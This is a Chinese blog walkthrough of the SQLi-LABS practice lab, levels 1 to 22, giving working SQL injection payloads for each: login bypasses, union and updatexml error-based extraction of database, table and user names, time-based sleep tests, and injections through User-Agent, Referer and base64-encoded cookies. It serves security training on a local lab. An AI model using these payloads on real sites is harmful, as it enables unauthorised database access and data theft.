Sky's blog

SQLi-LABS(Basic)(Less-1 ~ Less-22)

Word count: 2,513 / Reading time: 11 min
2017/07/18 Share

前言

因为暑假在家无聊,想着开学要做培训,就拿出了珍藏许久的注入天书,先做着玩玩

Sqli-labs下载:
https://github.com/Audi-1/sqli-labs

Sqli-labs安装:
需要安装以下环境
(1)apache+mysql+php
(2)Tomcat+mysql+java(部分关卡需要)
如果可以的话,推荐在windows和linux下分别安装:
Windows下可以用wamp、phpstudy、apmserv等直接安装,
linux下可在网上搜索教程进行安装。
例如ubuntu下,新手基本靠软件中心和apt-get进行安装。这里就不赘述环境的安装了。
我的测试环境是:
windows下用wamp直接搭建的
linux平台用ubuntu14.04,apache+mysql+php

同时,在后面的几个关卡中,需要用到tomcat+java+mysql的服务器,此处因已经安装apache+mysql+php,所以我们需要安装tomcat+jre+java连接mysql的jar,具体过程不详细讲解。
Sqli-labs安装将之前下载的源码解压到web目录下
linux的apache为/var/www/html下
windows下的wamp解压在www目录下

修改sql-connections/db-creds.inc文件当中的mysql账号密码
将user和pass修改你的mysql的账号和密码,访问127.0.0.1的页面,点击进行安装数据库的创建至此,安装结束

Less-1

打开界面:
Please input the ID as parameter with numeric value
让我传个参数id……
尝试:id=1'
出现报错:
to use near ''1'' LIMIT 0,1' at line 1
很明显是单引号闭合了,所以得到:
payload:http://localhost/sql/Less-1/?id=1'--+

Less-2

emmmmm……
源代码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
很无聊的样子……
比如id=23333 order by 1
$sql="SELECT * FROM users WHERE id=23333 order by 1 LIMIT 0,1"
可以依此试出,一共3列……
然后:id=23333 union select 1,2,3
$sql="SELECT * FROM users WHERE id=23333 union select 1,2,3 LIMIT 0,1"
然后id=23333 union select 1,database(),user()
$sql="SELECT * FROM users WHERE id=23333 union select 1,database(),user() LIMIT 0,1"
得出数据库名:security,当前用户名:root@localhost

Less-3

尝试?id=1'
得到报错:
to use near ''1'') LIMIT 0,1' at line 1
可以知道应该是单引号和括号的闭合……
所以得到
payload:http://localhost/sql/Less-3/?id=1')--+

Less-4

尝试?id=1'
发现没有报错,于是再尝试?id=1"
得到报错:
to use near '"1"") LIMIT 0,1' at line 1
可以得知是双引号和括号的闭合
于是得到:
payload:http://localhost/sql/Less-4/?id=1")--+

Less-5

尝试?id=1'
得到报错:
to use near ''1'' LIMIT 0,1' at line 1
所以应该是单引号闭合,得到:
payload:http://localhost/sql/Less-5/?id=1'--+

Less-6

就是上一题的单引号闭合变成了双引号闭合
payload:http://localhost/sql/Less-6/?id=1"--+

Less-7

尝试?id=1'
得到报错:
You have an error in your SQL syntax
构造?id=1'--+
发现依旧不行,猜测可能--+不能用了
于是换了一种闭合方式:?id=1' or 'a'='a
成功得到payload:http://localhost/sql/Less-7/?id=1' or 'a'='a

Less-8

尝试?id=1'
发现无报错,但是页面不返回东西
应该是个bool盲注……
但是题目本身简单,属于介绍类题目
所以直接:
payload:http://localhost/sql/Less-8/?id=1' or 'a'='a

Less-9

发现无论尝试什么,页面都不变化
所以猜想是不是时间盲注
payload:http://localhost/sql/Less-9/?id=1' or sleep(2)--+
页面会等待响应一会儿,应该是正确了
…………这个是我最讨厌的注入= =,日后遇到再说

Less-10

这个就是上一题的单引号变成双引号,没什么好说的
payload:http://localhost/sql/Less-10/?id=1" or sleep(2)--+

Less-11

起手就尝试了

1
2
username = admin' or 'a'='a
password = 1

直接就过了…………

Less-12

尝试各种单引号无果,猜想应该是双引号
尝试:username = admin" or 1=1 --+
得到报错:
to use near '1") LIMIT 0,1' at line 1
看来还有括号闭合
得到payload:

1
2
username = admin") or 1=1#
password = 1

Less-13

这题就是上一题双引号改为单引号了……没什么好说的

1
2
username = admin') or 1=1#
password = 1

Less-14

起手尝试了单引号,发现没任何反应……
就尝试了一下双引号

1
2
username = admin" or 1=1#
password = 1

就过了……

Less-15

一如既往的把上一题双引号改为单引号就可以了……

1
2
username = admin' or 1=1#
password = 1

Less-16

一通乱试,发现根本不带回显的……最后尝试了一下带括号的双引号:

1
2
username = admin") or 1=1#
password = 1

就过了

Less-1 ~ Less-16小结

在上面的16关中,我基本没有爆库爆表爆字段,只是简单的找了一下注入点,原因是我发现上面的题目都没有带过滤……只要能闭合引号,就能简单的爆出想要的东西。
上面的题型大概分4种
1.联合查询注入
2.报错注入
3.bool盲注
4.时间盲注

每种题型也有自己独特的解法:
1.对于联合查询注入,可以利用Union,直接select出你想要的信息
2.对于报错注入,可以很快的找到引号闭合方式,使用特定的函数使其报错,得到信息
3.对于bool盲注,没有回显,但是可以辨别出是ture还是fasle,所以可以用python写脚本,利用ascii码的比较来确定字符,得到信息
4.对于时间盲注,和bool盲注异曲同工,但是连回显都没有了,所以需要根据页面响应时间来判断是ture or false,同样需要写python脚本解决

注:后面的题型变难的时候会写脚本解决,这里就简单找一下注入点,跳过了

Less-17

尝试uname无果,发现注入点在passwd
尝试xpath报错注入:
爆库
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
得到回显:
XPATH syntax error: '~security~'
得知数据库名:security

爆表:

1
2
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&submit=Submit

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'

爆字段:

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)#&submit=Submit

得到回显:
XPATH syntax error: '~username~'

拿数据:

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit

却得到了报错
You can't specify target table 'users' for update in FROM clause
思考到这里是updata语句,百度了一下解决方案:http://www.jb51.net/article/60926.htm
需要再在外面加一层select即可解决
最终payload:

1
2
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username 
from users)b limit 0,1),0x7e),1)#&submit=Submit

得到回显:
XPATH syntax error: '~Dumb~'
即可完成本题

Less-18

打开界面,得到信息:
Your IP ADDRESS is: 127.0.0.1
猜测这个注入应该和header有关,于是抓包改包各种操作无果……
看了一下源码,要先登录成功后再注入才有报错回显……(一万只草泥马)
然后查了下数据库,账号admin,密码1
然后看见回显

1
2
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

猜测应该是在User-Agent进行注入,随机试了一下:User-Agent: 1'
报错回显:
to use near '127.0.0.1', 'admin')' at line 1
发现果然这里存在注入
尝试:User-Agent: 1' and '1'='1
得到回显:
Your User Agent is: 1' and '1'='1
找到了引号闭合方式,下面就简单了,随手试了一下updatexml()
payload:
User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:

1
2
Your User Agent is: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
XPATH syntax error: '~security~'

得到数据库名……后面的路数和上题一样,不再赘述

Less-19

和上一题一个路数,先登录,得到回显:
Your Referer is: http://localhost/sql/Less-19/
猜测应该是在header里的Referer里进行注入,尝试:Referer: 1' and '1'='1
得到回显:
Your Referer is: 1' and '1'='1
于是也起手试了一下updatexml()
payload:
Referer: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:

1
2
Your Referer is: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
XPATH syntax error: '~security~'

得到数据库名……后面的路数也和上题一样,不再赘述

Less-20

也和上一题一个路数,先登录
然后得到一大堆回显,其中有cookie一行字格外的大……
所以试了一下header里的cookie:
Cookie: uname=admin'
得到回显:
to use near ''admin'' LIMIT 0,1' at line 1
再尝试:
Cookie: uname=admin' and '1'='1
发现cookie被删除……证明引号闭合成功了
所以路数应该还是和上题一样,尝试:
payload:
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:
Issue with your mysql: XPATH syntax error: '~security~'
发现成功,后面的路数也和上题一样,不再赘述

Less-21

先登录
发现cookie中为base64,解码后得到admin
猜想只是比上题多了一个Base64
于是给admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1进行base64编码,然后提交:
payload:
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
得到回显:
Issue with your mysql: XPATH syntax error: '~security~'
故此题完爆……

Less-22

这题就是上一题单引号改为双引号了……没什么好说的
于是给admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1进行base64编码,然后提交:
payload:
Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjE=
结束

后记

到此SQLi-LABS Page-1(Basic Challenges)的22题就已经全部完爆了
在这里稍作总结一下,前面1~16关已经总结过了,就说说17~22关,这6关应该是属于涨涨见识的关卡,可能还少了一道xff注入,也是header里比较经典的注入……我记得实验吧好像有一道这样的题
然后单题目来说,没什么好讲的,无论技巧还是构造Payload都差不多,也比较基础
所以就介绍一下我做这22题所用的工具:
1.火狐浏览器的:Hackbar插件,Live HTTP headers插件
2.BurpSuite
强烈推荐这3个工具……爱不释手,web神器(2333333)

CATALOG
  1. 1. 前言
  2. 2. Less-1
  3. 3. Less-2
  4. 4. Less-3
  5. 5. Less-4
  6. 6. Less-5
  7. 7. Less-6
  8. 8. Less-7
  9. 9. Less-8
  10. 10. Less-9
  11. 11. Less-10
  12. 12. Less-11
  13. 13. Less-12
  14. 14. Less-13
  15. 15. Less-14
  16. 16. Less-15
  17. 17. Less-16
  18. 18. Less-1 ~ Less-16小结
  19. 19. Less-17
  20. 20. Less-18
  21. 21. Less-19
  22. 22. Less-20
  23. 23. Less-21
  24. 24. Less-22
  25. 25. 后记